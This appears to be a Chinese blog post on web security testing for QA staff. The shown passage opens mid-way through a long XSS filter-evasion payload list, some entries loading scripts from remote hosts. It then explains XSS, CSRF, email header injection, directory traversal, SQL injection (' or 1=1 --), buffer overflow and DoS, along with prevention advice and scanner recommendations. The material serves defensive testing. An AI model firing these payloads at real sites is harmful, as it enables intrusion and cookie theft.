DYNSRC="javascrīpt:alert('XSS')"> <IMG LOWSRC="javascrīpt:alert('XSS')"> <BGSOUND SRC="javascrīpt:alert('XSS');"> <br size="&{alert('XSS')}"> <LAYER SRC="http://xss.ha.ckers.org/a.js"></layer> <LINK REL="stylesheet" HREF="javascrīpt:alert('XSS');"> <IMG SRC='vbscrīpt:msgbox("XSS")'> <IMG SRC="mocha:[code]"> <IMG SRC="livescrīpt:[code]"> <META HTTP-EQUIV="refresh" CONTENT="0;url=javascrīpt:alert('XSS');"> <IFRAME SRC=javascrīpt:alert('XSS')></IFRAME> <FRAMESET><FRAME SRC=javascrīpt:alert('XSS')></FRAME></FRAMESET> <TABLE BACKGROUND="javascrīpt:alert('XSS')"> <DIV STYLE="background-image: url(javascrīpt:alert('XSS'))"> <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');"> <DIV STYLE="width: expression(alert('XSS'));"> <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> <IMG STYLE='xss:expre\ssion(alert("XSS"))'> <STYLE TYPE="text/javascrīpt">alert('XSS');</STYLE> <STYLE TYPE="text/css">.XSS{background-image:url("javascrīpt:alert('XSS')");}</STYLE><A class="XSS"></A> <STYLE type="text/css">BODY{background:url("javascrīpt:alert('XSS')")}</STYLE> <BASE HREF="javascrīpt:alert('XSS');//"> getURL("javascrīpt:alert('XSS')") a="get";b="URL";c="javascrīpt:";d="alert('XSS');";eval(a+b+c+d); <XML SRC="javascrīpt:alert('XSS');"> "> <BODY ōNLOAD="a();"><scrīpt>function a(){alert('XSS');}</scrīpt><" <scrīpt SRC="/Article/UploadFiles/200608/20060827171609376.jpg"></scrīpt> <IMG SRC="javascrīpt:alert('XSS')" <!--#exec cmd="/bin/echo '<scrīpt SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></scrīpt>'"--> <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> <scrīpt a=">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt =">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt a=">" '' SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt "a='>'" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt>document.write("<SCRI");</scrīpt>PT SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A> |

* 最后,当用户浏览 时便会弹出一个警告框，内容显示的是浏览者当前的cookie串,这就说明该网站存在XSS漏洞。
* 试想如果我们注入的不是以上这个简单的测试代码，而是一段经常精心设计的恶意脚本，当用户浏览此帖时，cookie信息就可能成功的被 攻击者获取。此时浏览者的帐号就很容易被攻击者掌控了。

  (2)如何预防XSS漏洞?  
    从应用程序的角度来讲,要进行以下几项预防:

* 对Javascrīpt,VB scrīpt, HTML,ActiveX, Flash等 语句或脚本进行转义.
* 在 服务端正式处理之前提交数据的合法性(合法性检查主要包括三项:数据类型,数据长度,敏感字符的校验)进行检查等。最根本的解决手段,在确认客户端的输入合法之前,服务端 拒绝进行关键性的处理操作.

    从测试人员的角度来讲,要从需求检查和执行测试过程两个阶段来完成XSS检查:

* 在需求检查过程中对各输入项或输出项进行类型、长度以及取 值范围进行验证，着重验证是否对HTML或脚本代码进行了转义。
* 执行测试过程中也应对上述项进行检查。

**3.CSRF:(跨站点伪造请求)**  
    CSRF尽管听起来像跨站脚本（XSS），但它与XSS非常不同，并且攻击方式几乎相左。  
    XSS是利用站点内的信任用户，而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。  
    XSS也好，CSRF也好，它的目的在于窃取用户的信息，如SESSION 和 COOKIES（关于SESSION 和COOKIES的介绍请参见我的另一篇BLOG：[http://www.51testing.com/?49689/action\_viewspace\_itemid\_74885.html](http://www.cnblogs.com/http:)），  
   (1)如何进行CSRF测试？  
    关于这个主题本人也正在研究，目前主要通过安全性测试工具来进行检查。  
   (2)如何预防CSRF漏洞？

* 请参见[http://www.hanguofeng.cn/archives/security/preventing-csrf](http://www.cnblogs.com/http:)
* 请 参见[http://getahead.org/blog/joe/2007/01/01/csrf\_attacks\_or\_how\_to\_avoid\_exposing\_your\_gmail\_contacts.html](http://www.cnblogs.com/http:)

**4.Email Header Injection(邮件标头注入)**    
    Email Header Injection：如果表单用于发送email,表单中可能包括“subject”输入项（邮件标题），我们要验证subject中应能escape掉“\n”标识。

* <!--[if !supportLists]--><!--[endif]-->因为“\n”是新行，如果在subject中输入“hello\ncc:spamvictim@example.com”，可能会形成以下

Subject: hello

cc: spamvictim@example.com

* <!--[if !supportLists]--><!--[endif]-->如果允许用户使用这样的subject，那他可能会给利用这个缺陷通过我们的平台给[**其它**](file:///C:\Users\Administrator\Desktop\%E5%AE%89%E5%85%A8%E6%80%A7%E6%B5%8B%E8%AF%95%E5%B7%A5%E5%85%B7\web\%E5%A6%82%E4%BD%95%E8%BF%9B%E8%A1%8CWEB%E5%AE%89%E5%85%A8%E6%80%A7%E6%B5%8B%E8%AF%95.doc)用 户发送垃圾邮件。

**5.Directory Traversal(目录遍历)**  
   （1）如何进行目录遍历测试？

* 目录遍历产生的原因是：程序中没有过滤用户输入的“../”和“./”之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。
* 测试方法：在URL中输入一定数量的“../”和“./”，验证系统是否ESCAPE掉了这些目录跳转符。

   （2）如何预防目录遍历？

* 限制Web应用在服务器上的运行
* 进 行严格的输入验证，控制用户输入非法路径

**6.exposed error messages(错误信息)**  （1）如何进行测试？

* 首 先找到一些错误页面，比如404,或500页面。
* 验证在调试未开通过的情况下，是否给出了友好的错误提示信息比如“你访问的页面不存 在”等，而并非曝露一些程序代码。

  （2）如何预防？

* 测试人员在进行需求检查时，应该对出错信息 进行详细查，比如是否给出了出错信息，是否给出了正确的出错信息。

**让Web站点崩溃最常见的七大原因**

　　**磁盘已满**　  
　　导致系统无法正常运行的最可能的原因是磁盘已满。一个好的网络管理员会密切关注磁盘的使用情况，隔一定的时间，就需要将磁盘上的一些负载转存到备份存储介质中（例如磁带）。  
　　**日志**文件会很快用光所有的磁盘空间。Web服务器的日志文件、SQL\*Net的日志文件、JDBC日志文件，以及应用程序服务器日志文件均与内存泄漏有同等的危害。可以采取措施将日志文件保存在与**操作系统**不同的文件系统中。日志文件系统空间已满时Web服务器也会被挂起，但机器自身被挂起的几率已大大减低。  
　　**C指针错误**  
　　用C或C++编写的程序，如Web服务器API模块，有可能导致系统的崩溃，因为只要间接引用指针（即，访问指向的内存）中出现一个错误，就会导致操作系统终止所有程序。另外，使用了糟糕的C指针的Java模拟量（analog）将访问一个空的对象引用。Java中的空引用通常不会导致立刻退出JVM，但是前提是程序员能够使用异常处理方法恰当地处理错误。在这方面，Java无需过多的关注，但使用 Java对可靠性进行额外的度量则会对性能产生一些负面影响。  
　　**内存泄漏**  
　　C/C++程序还可能产生另一个指针问题：丢失对已分配内存的引用。当内存是在子程序中被分配时，通常会出现这种问题，其结果是程序从子程序中返回时不会释放内存。如此一来，对已分配的内存的引用就会丢失，只要操作系统还在运行中，则进程就会一直使用该内存。这样的结果是，曾占用更多的内存的程序会降低系统性能，直到机器完全停止**工作**，才会完全清空内存。  
　　解决方案之一是使用代码分析工具（如Purify）对代码进行仔细分析，以找出可能出现的泄漏问题。但这种方法无法找到由**其他**原因引起的库中的泄漏，因为库的源代码是不可用的。另一种方法是每隔一段时间，就清除并重启进程。Apache的Web服务器就会因这个原因创建和清除子进程。  
　　虽然Java本身并无指针，但总的说来，与C程序相比， Java程序使用内存的情况更加糟糕。在Java中，对象被频繁创建，而直到所有到对象的引用都消失时，垃圾回收程序才会释放内存。即使运行了垃圾回收程序，也只会将内存还给虚拟机VM，而不是还给操作系统。结果是：Java程序会用光给它们的所有堆，从不释放。由于要保存实时（Just In Time，JIT）编译器产生的代码，Java程序的大小有时可能会膨胀为最大堆的数倍之巨。  
　　还有一个问题，情况与此类似。从连接池分配一个**数据库**连接，而无法将已分配的连接还回给连接池。一些连接池有活动计时器，在维持一段时间的静止状态之后，计时器会释放掉数据库连接，但这不足以缓解糟糕的代码快速泄漏数据库连接所造成的资源浪费。  
　　**进程缺乏文件描述符**  
　　如果已为一台Web服务器或其他关键进程分配了文件描述符，但它却需要更多的文件描述符，则服务器或进程会被挂起或报错，直至得到了所需的文件描述符为止。文件描述符用来保持对开放文件和开放套接字的跟踪记录，开放文件和开放套接字是Web服务器很关键的组成部分，其任务是将文件复制到网络连接。默认时，大多数**shell**有64个文件描述符，这意味着每个从shell启动的进程可以同时打开64个文件和网络连接。大多数shell都有一个内嵌的 ulimit命令可以增加文件描述符的数目。  
　　**线程死锁**  
　　由多线程带来的性能改善是以可靠性为代价的，主要是因为这样有可能产生线程死锁。线程死锁时，第一个线程等待第二个线程释放资源，而同时第二个线程又在等待第一个线程释放资源。我们来想像这样一种情形：在人行道上两个人迎面相遇，为了给对方让道，两人同时向一侧迈出一步，双方无法通过，又同时向另一侧迈出一步，这样还是无法通过。双方都以同样的迈步方式堵住了对方的去路。假设这种情况一直持续下去，这样就不难理解为何会发生死锁现象了。  
　　解决死锁没有简单的方法，这是因为使线程产生这种问题是很具体的情况，而且往往有很高的负载。大多数**软件测试**产生不了足够多的负载，所以不可能暴露所有的线程错误。在每一种使用线程的语言中都存在线程死锁问题。由于使用Java进行线程编程比使用C容易，所以 Java程序员中使用线程的人数更多，线程死锁也就越来越普遍了。可以在Java代码中增加同步关键字的使用，这样可以减少死锁，但这样做也会影响性能。如果负载过重，数据库内部也有可能发生死锁。  
　　如果程序使用了永久锁，比如锁文件，而且程序结束时没有解除锁状态，则其他进程可能无法使用这种类型的锁，既不能上锁，也不能解除锁。这会进一步导致系统不能正常工作。这时必须手动地解锁。  
　　**服务器超载**  
Netscape Web服务器的每个连接都使用一个线程。Netscape Enterprise Web服务器会在线程用完后挂起，而不为已存在的连接提供任何服务。如果有一种负载分布机制可以检测到服务器没有响应，则该服务器上的负载就可以分布到**其它**的 Web服务器上，这可能会致使这些服务器一个接一个地用光所有的线程。这样一来，整个服务器组都会被挂起。操作系统级别可能还在不断地接收新的连接，而应用程序（Web服务器）却无法为这些连接提供服务。用户可以在浏览器状态行上看到connected（已连接）的提示消息，但这以后什么也不会发生。  
　解决问题的一种方法是将obj.conf参数RqThrottle的值设置为线程数目之下的某个数值，这样如果越过 RqThrottle的值，就不会接收新的连接。那些不能连接的服务器将会停止工作，而连接上的服务器的响应速度则会变慢，但至少已连接的服务器不会被挂起。这时，文件描述符至少应当被设置为与线程的数目相同的数值，否则，文件描述符将成为一个瓶颈。  
　　**数据库中的临时表不够用**  
　　许多数据库的临时表（cursor）数目都是固定的，临时表即保留查询结果的内存区域。在临时表中的数据都被读取后，临时表便会被释放，但大量同时进行的查询可能耗尽数目固定的所有临时表。这时，其他的查询就需要列队等候，直到有临时表被释放时才能再继续运行。  
　　这是一个不容易被程序员发觉的问题，但会在负载测试时显露出来。但可能对于数据库管理员（DataBase Administrator，DBA）来说，这个问题十分明显。  
　　此外，还存在一些其他问题：设置的表空间不够用、序号限制太低，这些都会导致表溢出错误。这些问题表明了一个好的DBA对用于生产的数据库设置和性能进行定期检查的重要性。而且，大多数数据库厂商也提供了监控和建模工具以帮助解决这些问题。  
　　另外，还有许多因素也极有可能导致Web站点无法工作。如：相关性、子网流量超载、糟糕的设备驱动程序、硬件故障、包括错误文件的通配符、无意间锁住了关键的表。

如何做好网站的安全性测试

安全性保护数据以防止不合法用户故意造成的破坏；

完整性保护数据以防止合法用户无意中造成的破坏；

        安全性测试（security testing）是有关验证应用程序的安全服务和识别潜在安全性缺陷的过程。

        注意：安全性测试并不最终证明应用程序是安全的，而是用于验证所设立策略的有效性，这些对策是基于威胁分析阶段所做的假设而选择的。

一个完整的WEB安全性测试可以从部署与基础结构、输入验证、身份验证、授权、配置管理、敏感数据、会话管理、加密。参数操作、异常管理、审核和日志记录等几个方面入手。

1.安全体系测试

1)部署与基础结构

　　网络是否提供了安全的通信

　　部署拓扑结构是否包括内部的防火墙

　　部署拓扑结构中是否包括远程应用程序服务器

　　基础结构安全性需求的限制是什么

　　目标环境支持怎样的信任级别

2)输入验证

l如何验证输入

A.是否清楚入口点

B.是否清楚信任边界

C.是否验证Web页输入

D.是否对传递到组件或Web服务的参数进行验证

E.是否验证从数据库中检索的数据

F.是否将方法集中起来

G.是否依赖客户端的验证

H.应用程序是否易受SQL注入攻击

I.应用程序是否易受XSS攻击

l如何处理输入

3)身份验证

　　是否区分公共访问和受限访问

　　是否明确服务帐户要求

　　如何验证调用者身份

　　如何验证数据库的身份

　　是否强制试用帐户管理措施

4)授权

　　如何向最终用户授权

　　如何在数据库中授权应用程序

　　如何将访问限定于系统级资源

5)配置管理

　　是否支持远程管理

　　是否保证配置存储的安全

　　是否隔离管理员特权

6)敏感数据

　　是否存储机密信息

　　如何存储敏感数据

　　是否在网络中传递敏感数据

　　是否记录敏感数据

7)会话管理

　　如何交换会话标识符

　　是否限制会话生存期

　　如何确保会话存储状态的安全

8)加密

　　为何使用特定的算法

　　如何确保加密密钥的安全性

9)参数操作

　　是否验证所有的输入参数

　　是否在参数过程中传递敏感数据

　　是否为了安全问题而使用HTTP头数据

10)异常管理

　　是否使用结构化的异常处理

　　是否向客户端公开了太多的信息

11)审核和日志记录

　　是否明确了要审核的活动

　　是否考虑如何流动原始调用这身份

2.应用及传输安全

　　WEB应用系统的安全性从使用角度可以分为应用级的安全与传输级的安全，安全性测试也可以从这两方面入手。

　　应用级的安全测试的主要目的是查找Web系统自身程序设计中存在的安全隐患，主要测试区域如下。

　　注册与登陆：现在的Web应用系统基本采用先注册，后登录的方式。

A.必须测试有效和无效的用户名和密码

B.要注意是否存在大小写敏感，

C.可以尝试多少次的限制

D.是否可以不登录而直接浏览某个页面等。

　　在线超时：Web应用系统是否有超时的限制，也就是说，用户登陆一定时间内（例如15分钟）没有点击任何页面，是否需要重新登陆才能正常使用。

　　操作留痕：为了保证Web应用系统的安全性，日志文件是至关重要的。需要测试相关信息是否写进入了日志文件，是否可追踪。

　　备份与恢复：为了防范系统的意外崩溃造成的数据丢失，备份与恢复手段是一个Web系统的必备功能。备份与恢复根据Web系统对安全性的要求可以采用多种手段，如数据库增量备份、数据库完全备份、系统完全备份等。出于更高的安全性要求，某些实时系统经常会采用双机热备或多级热备。除了对于这些备份与恢复方式进行验证测试以外，还要评估这种备份与恢复方式是否满足Web系统的安全性需求。

　　传输级的安全测试是考虑到Web系统的传输的特殊性，重点测试数据经客户端传送到服务器端可能存在的安全漏洞，以及服务器防范非法访问的能力。一般测试项目包括以下几个方面。

　　HTTPS和SSL测试：默认的情况下，安全HTTP（Soure HTTP）通过安全套接字SSL（Source Socket Layer）协议在端口443上使用普通的HTTP。HTTPS使用的公共密钥的加密长度决定的HTTPS的安全级别，但从某种意义上来说，安全性的保证是以损失性能为代价的。除了还要测试加密是否正确，检查信息的完整性和确认HTTPS的安全级别外，还要注意在此安全级别下，其性能是否达到要求。

　　服务器端的脚本漏洞检查：存在于服务器端的脚本常常构成安全漏洞，这些漏洞又往往被黑客利用。所以，还要测试没有经过授权，就不能在服务器端放置和编辑脚本的问题。

　　防火墙测试：防火墙是一种主要用于防护非法访问的路由器，在Web系统中是很常用的一种安全系统。防火墙测试是一个很大很专业的课题。这里所涉及的只是对防火墙功能、设置进行测试，以判断本Web系统的安全需求。

另推荐安全性测试工具：

　　Watchfire AppScan：商业网页漏洞扫描器(此工具好像被IBM收购了，所以推荐在第一位)

　　AppScan按照应用程序开发生命周期进行安全测试，早在开发阶段就进行单元测试和安全保证。Appscan能够扫描多种常见漏洞，例如跨网站脚本、HTTP应答切开、参数篡改、隐藏值篡改、后门/调试选项和缓冲区溢出等等。

　　Acunetix Web Vulnerability Scanner：商业漏洞扫描器

Acunetix WVS自动检查您的网页程序漏洞，例如SQL注入、跨网站脚本和验证页面弱密码破解。Acunetix WVS有着非常友好的用户界面，还可以生成个性化的网站安全评估报告。

黑盒主要测试点

用户管理模块，权限管理模块，加密系统，认证系统等

工具使用

Appscan（首要）、Acunetix Web Vulnerability Scanner（备用）、HttpAnalyzerFull、TamperIESetup

木桶原理

安全性最低的模块将成为瓶颈，需整体提高

（一）可手工执行或工具执行

输入的数据没有进行有效的控制和验证

用户名和密码

直接输入需要权限的网页地址可以访问

上传文件没有限制（此次不需要）

不安全的存储

操作时间的失效性

1.1）输入的数据没有进行有效的控制和验证

数据类型（字符串，整型，实数，等）

允许的字符集

最小和最大的长度

是否允许空输入

参数是否是必须的

重复是否允许

数值范围

特定的值（枚举型）

特定的模式（正则表达式）（注：建议尽量采用白名单）

1.22）用户名和密码-2

检测接口程序连接登录时，是否需要输入相应的用户

是否设置密码最小长度（密码强度）

用户名和密码中是否可以有空格或回车？

是否允许密码和用户名一致

防恶意注册：可否用自动填表工具自动注册用户？ （傲游等）

遗忘密码处理

有无缺省的超级用户?（admin等，关键字需屏蔽）

有无超级密码?

是否有校验码？

密码错误次数有无限制？

大小写敏感？

口令不允许以明码显示在输出设备上

强制修改的时间间隔限制（初始默认密码）

口令的唯一性限制（看需求是否需要）

口令过期失效后，是否可以不登陆而直接浏览某个页面

哪些页面或者文件需要登录后才能访问/下载

cookie中或隐藏变量中是否含有用户名、密码、userid等关键信息

1.3）直接输入需要权限的网页地址可以访问

避免研发只是简单的在客户端不显示权限高的功能项

举例Bug：

没有登录或注销登录后，直接输入登录后才能查看的页面的网址（含跳转页面），能直接打开页面；

注销后，点浏览器上的后退，可以进行操作。

正常登录后，直接输入自己没有权限查看的页面的网址，可以打开页面。

通过Http抓包的方式获取Http请求信息包经改装后重新发送

从权限低的页面可以退回到高的页面（如发送消息后，浏览器后退到信息填写页面，这就是错误的）

1.4）上传文件没有限制（此次不需要）

传文件还要有大小的限制。

上传木马病毒等（往往与权限一起验证）

上传文件最好要有格式的限制；

1.5）不安全的存储

在页面输入密码，页面应显示 “\*\*\*\*\*”；

数据库中存的密码应经过加密；

地址栏中不可以看到刚才填写的密码；

右键查看源文件不能看见刚才输入的密码；

帐号列表：系统不应该允许用户浏览到网站所有的帐号，如果必须要一个用户列表，推荐使用某种形式的假名（屏幕名）来指向实际的帐号

1.6）操作时间的失效性

检测系统是否支持操作失效时间的配置，同时达到所配置的时间内没有对界面进行任何操作时，检测系统是否会将用户自动失效，需要重新登录系统。

支持操作失效时间的配置。

支持当用户在所配置的时间内没有对界面进行任何操作则该应用自动失效。

如，用户登陆后在一定时间内（例如15 分钟）没有点击任何页面，是否需要重新登陆才能正常使用。

（二）借助工具或了解后手工来进行测试

不能把数据验证寄希望于客户端的验证

不安全的对象引用，防止XSS攻击

注入式漏洞（SQL注入）

传输中与存储时的密码没有加密 ，不安全的通信

目录遍历

2.1）不能把数据验证寄希望于客户端的验证

避免绕过客户端限制（如长度、特殊字符或脚本等），所以在服务器端验证与限制

客户端是不安全，重要的运算和算法不要在客户端运行。

Session与cookie

例：保存网页并对网页进行修改，使其绕过客户端的验证。

（如只能选择的下拉框，对输入数据有特殊要求的文本框）

还可以查看cookie中记录，伪造请求

测试中，可使用TamperIESetup来绕过客户端输入框的限制

2.21）不安全的对象引用，防止XSS等攻击

阻止带有语法含义的输入内容，防止Cross Site Scripting (XSS) Flaws 跨站点脚本攻击（XSS）

防止Cross-site request forgery（CSRF）跨站请求伪造

xss解释：不可信的内容被引入到动态页面中，没有识别这种情况并采取保护措施。攻击者可在网上提交可以完成攻击的脚本，普通用户点击了网页上这些攻击者提交的脚本，那么就会在用户客户机上执行，完成从截获帐户、更改用户设置、窃取和篡改 cookie 到虚假广告在内的种种攻击行为

测试方法：在输入框中输入下列字符，可直接输入脚本来看

HTML标签：<…>…</…>

 转义字符：&amp(&)；&lt(<)；&gt(>)；&nbsp(空格) ；

脚本语言：<script>alert(document.cookie);</script>

特殊字符：‘  ’ <>/

最小和最大的长度

是否允许空输入

 对Grid、Label、Tree view类的输入框未作验证，输入的内容会按照html语法解析出来，要控制脚本注入的语法要素。比如：javascript离不开：“<”、“>”、“(”、“）”、“;”. 在输入或输出时对其进行字符过滤或转义处理

2.23）注入式漏洞（SQL注入）

对数据库等进行注入攻击。

例：一个验证用户登陆的页面，    
如果使用的sql语句为：    
Select \*  from  table A

    where  username＝’’ + username+’’ and pass word …..

   则在Sql语句后面 输入  ‘ or 1＝1 ――  就可以不输入任何password进行攻击

SELECT count(\*)  
FROM users  
WHERE username='a' or 'a'='a'  AND  password='a' or 'a'='a'

(资料太多，不显示了此处，借助工具Appscan等吧)

2.24）传输中与存储时的密码没有加密

利用ssl来进行加密，在位于HTTP层和TCP层之间，建立用户与服务器之间的加密通信

进入一个SSL站点后，可以看到浏览器出现警告信息，然后地址栏的http变成https （特点确定）

证书认证

————————————————————————

检查数据库中的用户密码、管理者密码等字段是否是以加密方式保存。

存储数据库单独隔离，有备份的数据库，权限唯一

2.25）目录遍历

举例：

http://love.ah163.net/Personal\_Spaces\_List.php?dir=MyFolder  
那现在把这个ＵＲＬ改装一下：  
http://love.ah163.net/Personal\_S ... /local/apache/conf/

   /usr/local/apache/conf/里的所有文件都出来了

简要的解决方案:  
　　１、限制Web应用在服务器上的运行 ，格设定WEB服务器的目录访问权限  
　　２、进行严格的输入验证，控制用户输入非法路径，如在每个目录访问时有index.htm

（三）研发或使用工具才能进行

认证和会话数据不能作为GET的一部分来发送

隐藏域与CGI参数

不恰当的异常处理

不安全的配置管理

缓冲区溢出

拒绝服务

日志完整性、可审计性与可恢复性

3.1）Get or post

认证和会话数据不应该作为GET的一部分来发送，应该使用POST

例：对Grid、Label、Tree view类的输入框未作验证，输入的内容会按照html语法解析出来

可使用TamperIESetup或ScannerHttpAnalyzerFull来判断

3.2）隐藏域与CGI参数

Bug举例：  
分析：隐藏域中泄露了重要的信息，有时还可以暴露程序原代码。  
直接修改CGI参数，就能绕过客户端的验证了。  
如：<input type="hidden" name="h" value="http://XXX/checkout.php">  
只要改变value的值就可能会把程序的原代码显示出来。

如大小写，编码解码，附加特殊字符或精心构造的特殊请求等都可能导致CGI源代码泄露

可使用appscan或sss等来检测，检查特殊字符集

3.3）不恰当的异常处理

分析：程序在抛出异常的时候给出了比较详细的内部错误信息，暴露了不应该显示的执行细节，网站存在潜在漏洞，有可能会被攻击者分析出网络环境的结构或配置

通常为其他攻击手段的辅助定位方式

举例：如www.c\*\*w.com ，搜索为空时，，数据库显示出具体错误位置，可进行sql注入攻击或关键字猜测攻击

3.4）不安全的配置管理

分析：Config中的链接字符串以及用户信息，邮件，数据存储信息都需要加以保护

配置所有的安全机制，

关掉所有不使用的服务，

设置角色权限帐号，

使用日志和警报。

手段：用户使用缓冲区溢出来破坏web应用程序的栈，通过发送特别编写的代码到web程序中，攻击者可以让web应用程序来执行任意代码

例：数据库的帐号是不是默认为“sa”，密码（还有端口号）是不是直接写在配置文件里而没有进行加密。

3.5）缓冲区溢出

WEB服务器没有对用户提交的超长请求没有进行合适的处理，这种请求可能包括超长URL，超长HTTP Header域，或者是其它超长的数据

使用类似于“strcpy()，strcat()”不进行有效位检查的函数，恶意用户编写一小段程序来进一步打开安全缺口，然后将该代码放在缓冲区有效载荷末尾，这样，当发生缓冲区溢出时，返回指针指向恶意代码

用户使用缓冲区溢出来破坏web应用程序的栈，通过发送特别编写的代码到web程序中，攻击者可以让web应用程序来执行任意代码。

如apach缓冲区溢出等错误，第三方软件也需检测

3.6）拒绝服务

手段：超长URL，特殊目录，超长HTTP Header域，畸形HTTP Header域或者是DOS设备文件

分析：攻击者可以从一个主机产生足够多的流量来耗尽狠多应用程序，最终使程序陷入瘫痪。需要做负载均衡来对付。

详细如：死亡之ping、泪滴（Teardorop）、 UDP洪水（UDP Flood）、 SYN洪水（SYN Flood）、 Land攻击、Smurf攻击、Fraggle攻击、 畸形消息攻击

3.7）日志完整性。可审计性与可恢复性

服务器端日志：检测系统运行时是否会记录完整的日志。

如进行详单查询，检测系统是否会记录相应的操作员、操作时间、系统状态、操作事项、IP地址等

检测对系统关键数据进行增加、修改和删除时，系统是否会记录相应的修改时间、操作人员和修改前的数据记录。

工具篇

Watchfire Appscan——全面自动测试工具

Acunetix Web Vulnerability ——全面自动测试工具

ScannerHttpAnalyzerFull——加载网页时可判断

TamperIESetup——提交表单时改造数据

注：上述工具最好安装在虚拟机中，不影响实际机环境

 Appscan、 Web Vulnerability 需安装.net framework，可能与sniffer冲突

ScannerHttpAnalyzerFul与TamperIESetup会影响实际机浏览器平时的功能测试

分类: [安全性测试](http://www.cnblogs.com/qmfsun/category/571474.html)